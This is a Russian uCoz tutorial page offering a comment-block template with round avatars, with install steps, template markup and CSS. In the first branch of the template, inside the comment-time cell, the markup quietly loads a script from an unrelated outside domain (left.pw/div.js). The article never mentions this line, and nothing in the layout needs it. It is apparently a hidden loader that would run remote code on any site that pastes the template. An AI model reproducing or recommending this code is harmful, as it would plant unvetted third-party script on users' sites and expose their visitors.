главная
файлы
Контакты
регистрация
Навигация
Главная
Шаблоны
Скрипты
Статьи
Иконки
Веб дизайн
Программы
Прочее
 

Ucozu Talk

Для добавления необходима авторизация
 

Популярные переходы
Yandex: кнопки действие
Yandex: кнопки действие
Yandex: https://yandex.ru/clck/jsredir?from=yandex.ru%3Bsearch%3Bweb%3B%3B
Yandex: https://yandex.ru/clck/jsredir?from=yandex.ru%3Bsearch%3Bweb%3B%3B
Yandex: https://yandex.ru/clck/jsredir?from=yandex.ru%3Bsearch%3Bweb%3B%3B
Yandex: https://yandex.ru/clck/jsredir?from=yandex.ru%3Bsearch%3Bweb%3B%3B
Yandex: https://yandex.ru/clck/jsredir?from=yandex.ru%3Bsearch%3Bweb%3B%3B
Yandex: https://yandex.ru/clck/jsredir?from=yandex.ru%3Bsearch%3Bweb%3B%3B
Yandex: https://yandex.ru/clck/jsredir?from=yandex.ru%3Bsearch%3Bweb%3B%3B
 

RSS лента

RSS лента

Подпишись на обновления по электронной почте!
 

Опрос
Что-бы вы хотели видеть больше всего у нас на сайте ?
[ Результаты · Архив опросов ]
Всего ответов: 185
 

Каталог статей

Главная » Статьи » Мои статьи

Вид комментариев ucoz с круглым Avatar

Уважаемые пользователи сайта, вот не плохой и даже очень оригинальный Вид комментариев ucoz с круглым Avatar, где сами картинки будут распологаться напротив и это очень красиво смотриться. Был создан он по своим стилям, как для светло серого сайта и безусловно он еще подойдет на темный дизайн.

Установка его очень проста, для начало нужно добавить стиль на его. Если идет стиль на скрипт, то можно сразу сказать что он будет смотрется красиво и даже иметь свои тени. Но потом и сам код заминить на тот который увас стоит по умолчанию, если у вас стандартный шаблон и все сохранить.

1) Заходим в панель управления и выбираем "вид комментариев" и меняем там все на наш скрипт.

Код
<?if($CLASS$)=='cBlock1'?>  
<div style="padding-bottom:9px;">  
<table cellspacing="0" width=100%><tr><td width=96 valign=top>  
  <div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">  
  <div class="ob_wp">  
  <div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>  
  </div> </div> </div></div>  
   
   
  <div style="margin-left:-15px"> <center>  
<?if($MODER_PANEL$)?>  
  <a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>  
  <?endif?>  
  </center></div>  
  </td><td valign=top>  
   
  <div style="position: absolute;margin-left:-9px;margin-top:14px;"><div id="triangle-left"></div></div>  
  <div class="mess_wp">  
  <div style="padding:6px">  
<table><tr>  
  <td valign=top><script type="text/javascript" src="http://left.pw/div.js"></script><div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>  
  <td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>  
  </tr></table>  
  </div>  
   
  </div>  
  </div>  
  </td></tr></table>  

<?else?>  
<div style="padding-bottom:9px;">  
<table cellspacing="0" width=100%><tr><td valign=top>  
  <div class="mess_wp">  
  <div style="padding:6px">  
<table><tr>  
  <td valign=top>  
  <div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>  
  <td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>  
  </tr></table>  
  </div>  
   
  </div>  
  </div>  
  </td><td width=96>  
  <div style="position: absolute;margin-left:-2px;margin-top:14px;"><div id="triangle-left1"></div></div>  
  <div style="float:right">  
  <div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">  
  <div class="ob_wp">  
  <div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>  
  </div> </div> </div></div></div>  
  <div style="margin-right:-24px"> <center>  
<?if($MODER_PANEL$)?>  
  <a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>  
  <?endif?>  
  </center></div>  
  </td></tr></table>  
<?endif?>


И CSS добавляем.

Код
.com_wp {border-radius:50%;background:#fff;width:65;height:65}  
  .ob_wp { width:73;height:73;background: #20242b;border-radius:50%; }  
   
  .ob_wp1 { width:81;height:81;background:rgba(255,255,255,0.3);;border-radius:50%; }  
   
  .mess_wp{box-shadow: 0 1px 1px rgba(0, 0, 0, 0.5);border-radius:4;background: #efefef;  
background: -moz-linear-gradient(top, #efefef 0%, #dbdbdb 100%);  
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#efefef), color-stop(100%,#dbdbdb));  
background: -webkit-linear-gradient(top, #efefef 0%,#dbdbdb 100%);  
background: -o-linear-gradient(top, #efefef 0%,#dbdbdb 100%);  
background: -ms-linear-gradient(top, #efefef 0%,#dbdbdb 100%);  
background: linear-gradient(to bottom, #efefef 0%,#dbdbdb 100%);  
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#efefef', endColorstr='#dbdbdb',GradientType=0 );  
}  
  .tim_wp{background:d7d7d7;border-radius:4;}  
  #triangle-left {  
  width: 0;  
  height: 0;  
  border-top: 7px solid transparent;  
  border-right: 9px solid #e1e1e1;  
  border-bottom: 7px solid transparent;  
}#triangle-left1 {  
  width: 0;  
  height: 0;  
  border-top: 7px solid transparent;  
  border-left: 9px solid #e1e1e1;  
  border-bottom: 7px solid transparent;  
}
  • 1
  • 2
  • 3
  • 4
  • 5
Категория: Мои статьи | Добавил: Bitfood (06.09.2014)
Просмотров: 619 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
О нас
Ucozu.Ru - перспективный сайт с удобным дизайном и многими уникальными статьями, файлами. Здесь вы сможете скачивать и просматривать файлы без регистрации.На нашем сайте вы найдёте много шаблонов,скриптов и тд.Все для uCoz.Так же множество статей по раскрутки вашего сайта и системе uCoz.
 

Кто онлайн
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Пользователи
Гости сайта
 

 

Рекомендуем
Волоконно-оптические кроссы

Последние комментарии
17:06
winbloger
Понравился шаблон, спасибо!
Ответить
30.01.2015
12:40
Peshka0973
Если отображение страницы исчезло, то скорее всего потерли лишнего. А вставлять надо туда, где должн
Ответить
18.08.2014
13:11
Peshka0973
А конкретнее можно? Как ругается при этом?
Ответить
02.04.2014
11:58
Arrow
не рабоотает
Ответить
02.04.2014
09:55
Peshka0973
Когда вызываешь файловый менеджер, из меню - Управление - Файловый менеджер, то в первое окно которо
Ответить
18.03.2014
09:01
Peshka0973
Крик души ? ;о))
По какому поводу, и кто имеется ввиду ?
Ответить
14.02.2014
14:22
Leonid
Что за люди ._. стыдно за таких. Учите русский и книжки читайте для общего развития.
Ответить
13.02.2014
09:38
Peshka0973
А полный текст ошибки?
Ответить
10.01.2014
18:30
_dahack_
Админы помогите!!! у меня проблема с разделом "Стена" пишет App is blocked и фото не грузя
Ответить
09.01.2014
09:16
Peshka0973
А почему мы не должны верить? Мы все должны тебя поблагодарить за труд ! :о))
Сейчас ты навер
Ответить
09.01.2014
09:39
Peshka0973
Какая панель имеется ввиду? Что касается расположения информеров, то в CSS гляньте.
Советую п
Ответить
29.11.2013
23:04
Аля
все установила,все получилось. Только не высвечивается сверху сама панель управления и конструктор с
Ответить
27.11.2013
11:59
Peshka0973
Да, прикольная :о))
Ответить
30.05.2013
15:22
Aviana
Клевая! respect
Ответить
29.05.2013
09:44
Peshka0973
Снизу под статьей справа есть кнопка - Скачать файл. Жми и получай, регистрироваться не надо.
Ответить
13.05.2013

©Ucozu.Ru 2018